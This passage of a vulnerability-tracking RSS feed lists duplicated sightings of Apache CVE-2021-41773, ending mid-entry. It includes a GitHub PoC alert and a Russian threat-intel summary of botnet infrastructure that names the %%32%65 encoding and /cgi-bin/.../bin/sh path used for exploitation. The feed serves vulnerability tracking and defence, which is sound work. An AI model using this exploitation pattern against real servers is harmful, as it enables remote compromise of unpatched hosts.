https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Wed, 24 Jun 2026 09:38:19 +0000 https://vulnerability.circl.lu/sighting/a9398981-29c8-4b55-aa1b-f2798ffda99b/export {"uuid": "a9398981-29c8-4b55-aa1b-f2798ffda99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/winterswang/4908fd900e5f5a047bafb32001894038", "content": "", "creation_timestamp": "2026-03-11T04:03:33.000000Z"} {"uuid": "a9398981-29c8-4b55-aa1b-f2798ffda99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/winterswang/4908fd900e5f5a047bafb32001894038", "content": "", "creation_timestamp": "2026-03-11T04:03:33.000000Z"} https://vulnerability.circl.lu/sighting/a9398981-29c8-4b55-aa1b-f2798ffda99b/export Wed, 11 Mar 2026 04:03:33 +0000 https://vulnerability.circl.lu/sighting/9306a6f8-5636-4b3e-875e-1984757146cc/export {"uuid": "9306a6f8-5636-4b3e-875e-1984757146cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizizvmm3i2t", "content": "", "creation_timestamp": "2026-04-09T00:03:42.070890Z"} {"uuid": "9306a6f8-5636-4b3e-875e-1984757146cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizizvmm3i2t", "content": "", "creation_timestamp": "2026-04-09T00:03:42.070890Z"} https://vulnerability.circl.lu/sighting/9306a6f8-5636-4b3e-875e-1984757146cc/export Thu, 09 Apr 2026 00:03:42 +0000 https://vulnerability.circl.lu/sighting/c94b4585-271b-4d17-a7d2-876730e8d47b/export {"uuid": "c94b4585-271b-4d17-a7d2-876730e8d47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/pmzKbihchBYeJvBnkfYLk5LESIxSAVi0zGHv3QahmixU_js", "content": "", "creation_timestamp": "2026-04-20T09:00:05.000000Z"} {"uuid": "c94b4585-271b-4d17-a7d2-876730e8d47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/pmzKbihchBYeJvBnkfYLk5LESIxSAVi0zGHv3QahmixU_js", "content": "", "creation_timestamp": "2026-04-20T09:00:05.000000Z"} https://vulnerability.circl.lu/sighting/c94b4585-271b-4d17-a7d2-876730e8d47b/export Mon, 20 Apr 2026 09:00:05 +0000 https://vulnerability.circl.lu/sighting/fc8e8ed7-4ce4-45c2-9c71-894f90952ba2/export {"uuid": "fc8e8ed7-4ce4-45c2-9c71-894f90952ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/BJFlaDl_9BJZma2LgARVypNYw9rydPG4dhbOcWVAV8nGsFg", "content": "", "creation_timestamp": "2026-04-23T09:00:04.000000Z"} {"uuid": "fc8e8ed7-4ce4-45c2-9c71-894f90952ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/BJFlaDl_9BJZma2LgARVypNYw9rydPG4dhbOcWVAV8nGsFg", "content": "", "creation_timestamp": "2026-04-23T09:00:04.000000Z"} https://vulnerability.circl.lu/sighting/fc8e8ed7-4ce4-45c2-9c71-894f90952ba2/export Thu, 23 Apr 2026 09:00:04 +0000 https://vulnerability.circl.lu/sighting/7d395570-60bc-417d-b090-4598dcd9492d/export {"uuid": "7d395570-60bc-417d-b090-4598dcd9492d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/GithubRedTeam/85053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-41773-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wvverez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 15:52:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC (Proof of concept) of Path traversal + RCE in Apache HTTP Server 2.4.49\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T16:01:51.000000Z"} {"uuid": "7d395570-60bc-417d-b090-4598dcd9492d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/GithubRedTeam/85053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-41773-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wvverez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1 | \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 15:52:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC (Proof of concept) of Path traversal + RCE in Apache HTTP Server 2.4.49\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T16:01:51.000000Z"} https://vulnerability.circl.lu/sighting/7d395570-60bc-417d-b090-4598dcd9492d/export Wed, 20 May 2026 16:01:51 +0000 https://vulnerability.circl.lu/sighting/e3288d51-89b6-4bd3-ae74-efa191e70ecc/export {"uuid": "e3288d51-89b6-4bd3-ae74-efa191e70ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/Ut-FjakO3aXzYeDJVS314i2vHRpchsUAjvXH-nUbNwT5URU", "content": "", "creation_timestamp": "2026-05-20T21:00:04.000000Z"} {"uuid": "e3288d51-89b6-4bd3-ae74-efa191e70ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/Ut-FjakO3aXzYeDJVS314i2vHRpchsUAjvXH-nUbNwT5URU", "content": "", "creation_timestamp": "2026-05-20T21:00:04.000000Z"} https://vulnerability.circl.lu/sighting/e3288d51-89b6-4bd3-ae74-efa191e70ecc/export Wed, 20 May 2026 21:00:04 +0000 https://vulnerability.circl.lu/sighting/bdafc7d3-4591-46fc-bf0e-fd1bfccdf74d/export {"uuid": "bdafc7d3-4591-46fc-bf0e-fd1bfccdf74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/poxek/6168", "content": "\u041a\u0430\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 fingerprints\n#botnet #apache #CVE #TI #honeypots\n\n\u041d\u0430\u0448\u0435\u043b \u0433\u0430\u0439\u0434 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0440\u044b\u0439 Apache-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u0410\u0432\u0442\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043a\u0430\u043a \u043f\u043e \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u043c TLS/HTTP/SSH-\u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0437 \u0440\u0430\u0437\u0440\u043e\u0437\u043d\u0435\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0446\u0435\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u044b\u0441\u043b\u044c \u2014 \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0432\u0430\u0436\u043d\u043e \u0443\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0442 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a \u043c\u0435\u043d\u0435\u0435 \u0438\u0437\u043c\u0435\u043d\u0447\u0438\u0432\u044b\u043c \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c.\n\n\u267e\ufe0f\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438\u267e\ufe0f\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f, \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (JA4, JA4H, HASSH). \u0421\u0435\u043d\u0441\u043e\u0440\u044b \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0444\u0430\u043a\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c staging-URL \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432 \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 base64 \u0438 shell_exec \u0432 PHP-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0430\u0444:\n\n\u25aa\ufe0f\u0443\u0437\u043b\u044b \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 IP \u0438 staging-\u0445\u043e\u0441\u0442\u044b,\n\u25aa\ufe0f\u0440\u0435\u0431\u0440\u0430 \u2014 \u0444\u0430\u043a\u0442\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432;\n\u25aa\ufe0f\u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f \u043f\u043e \u043e\u0431\u0449\u0438\u043c delivering-IP, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n\u267e\ufe0f\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u267e\ufe0f\n\n\u25aa\ufe0f\u0410\u0432\u0442\u043e\u0440 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 1 001 IP \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0441\u0442\u0440\u0430\u043d, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e staging-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u25aa\ufe0f\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043d\u0430 CVE-2021-41773 \u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 %%32%65, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 /cgi-bin/.../bin/sh \u043f\u043e 80/443.\n\n\u25aa\ufe0f\u0421\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u0448\u0435\u043b\u043b apache.selfrep \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0432 \u043d\u043e\u0432\u044b\u0435 scanning- \u0438 delivery-\u0443\u0437\u043b\u044b.\n\n\u25aa\ufe0f\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 JA4/JA4H \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u0440\u0435\u0434\u043a\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0443 \u0441\u043e\u0442\u0435\u043d IP, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043e\u0431\u0449\u0438\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0441\u0445\u043e\u0436\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u043a\u0430\u043d\u0435\u0440\u0430.\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-05-31T09:03:34.000000Z"} {"uuid": "bdafc7d3-4591-46fc-bf0e-fd1bfccdf74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/poxek/6168", "content": "\u041a\u0430\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 fingerprints\n#botnet #apache #CVE #TI #honeypots\n\n\u041d\u0430\u0448\u0435\u043b \u0433\u0430\u0439\u0434 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0440\u044b\u0439 Apache-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u0410\u0432\u0442\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043a\u0430\u043a \u043f\u043e \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u043c TLS/HTTP/SSH-\u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0437 \u0440\u0430\u0437\u0440\u043e\u0437\u043d\u0435\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0446\u0435\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u044b\u0441\u043b\u044c \u2014 \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0432\u0430\u0436\u043d\u043e \u0443\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0442 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a \u043c\u0435\u043d\u0435\u0435 \u0438\u0437\u043c\u0435\u043d\u0447\u0438\u0432\u044b\u043c \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c.\n\n\u267e\ufe0f\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438\u267e\ufe0f\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f, \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (JA4, JA4H, HASSH). \u0421\u0435\u043d\u0441\u043e\u0440\u044b \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0444\u0430\u043a\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c staging-URL \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432 \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 base64 \u0438 shell_exec \u0432 PHP-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0430\u0444:\n\n\u25aa\ufe0f\u0443\u0437\u043b\u044b \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 IP \u0438 staging-\u0445\u043e\u0441\u0442\u044b,\n\u25aa\ufe0f\u0440\u0435\u0431\u0440\u0430 \u2014 \u0444\u0430\u043a\u0442\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432;\n\u25aa\ufe0f\u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f \u043f\u043e \u043e\u0431\u0449\u0438\u043c delivering-IP, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n\u267e\ufe0f\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u267e\ufe0f\n\n\u25aa\ufe0f\u0410\u0432\u0442\u043e\u0440 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 1 001 IP \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0441\u0442\u0440\u0430\u043d, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e staging-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u25aa\ufe0f\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043d\u0430 CVE-2021-41773 \u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 %%32%65, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 /cgi-bin/.../bin/sh \u043f\u043e 80/443.\n\n\u25aa\ufe0f\u0421\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u0448\u0435\u043b\u043b apache.selfrep \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0432 \u043d\u043e\u0432\u044b\u0435 scanning- \u0438 delivery-\u0443\u0437\u043b\u044b.\n\n\u25aa\ufe0f\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 JA4/JA4H \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u0440\u0435\u0434\u043a\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0443 \u0441\u043e\u0442\u0435\u043d IP, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043e\u0431\u0449\u0438\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0441\u0445\u043e\u0436\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u043a\u0430\u043d\u0435\u0440\u0430.\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438\n\n\ud83c\udf1a 